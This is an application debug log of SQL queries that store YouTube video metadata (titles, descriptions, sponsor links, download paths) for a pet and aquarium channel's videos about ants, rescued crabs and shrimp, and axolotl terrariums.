("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "1c562873-2783-4c84-b3f2-105862b37672", "0koP25v7-1c", false, "https://www.youtube.com/watch?v=0koP25v7-1c", 32, [], 883, false, 3, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, false, 98, ~U[2026-03-01 18:42:41Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "0koP25v7-1c", "https://www.youtube.com/watch?v=0koP25v7-1c", 32, 883, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, ~U[2026-03-01 18:42:41Z]] 11:13:24.333 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.333 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 16:11:00Z], 32] 11:13:24.339 [debug] QUERY OK source="media_items" db=5.0ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new account and complete qualifying activities to earn up to $350. See chime.com/policies/newmemberofferv3 for details.\n3.50% Chime+ APY is only available to members who maintain eligibility for Chime+ status, otherwise the 1.00% APY will apply. APY means Annual Percentage Yield. No minimum balance required. See Chime.com for details. Chime Checking Account required to be eligible for a Savings Account.\nThe national average rate can be found on the FDIC's National Rates and Rate Caps website here: https://www.fdic.gov/national-rates-and-rate-caps.\nAutomatic Round Ups: Only debit card and credit card purchases can receive round-ups. Must receive a qualifying direct deposit of $1 or more.", "I Turned a Restaurant Crab into a Pet...", "1622682f-e315-4408-a088-1de265c358cc", "Bl8h8ks400Y", false, "https://www.youtube.com/watch?v=Bl8h8ks400Y", 32, [], 789, false, 4, "/downloads/shows/Aquarium Info/Season 2026/s2026e013100 - I Turned a Restaurant Crab into a Pet....mkv", false, false, 98, ~U[2026-01-31 16:11:00Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new (truncated) 11:13:24.339 [debug] QUERY OK source="sources" db=0.2ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.340 [debug] QUERY OK source="media_items" db=0.4ms idle=7.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-14 13:57:00Z], 32] 11:13:24.342 [debug] QUERY OK source="media_items" db=1.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "d56f43eb-aee5-4d7e-b939-8d70bc0629e2", "Yx3ugiqTKJ4", false, "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, [], 1092, false, 5, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, false, 98, ~U[2025-12-14 13:57:00Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "Yx3ugiqTKJ4", "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, 1092, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, ~U[2 (truncated) 11:13:24.343 [debug] QUERY OK source="sources" db=0.3ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.343 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 21:25:57Z], 32] 11:13:24.345 [debug] QUERY OK source="media_items" db=1.4ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "90ae47a9-5aae-499e-b5c7-8c1e81d20a43", "3Jht0AF-4TA", false, "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, [], 1063, false, 6, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-11-21 21:25:57Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep 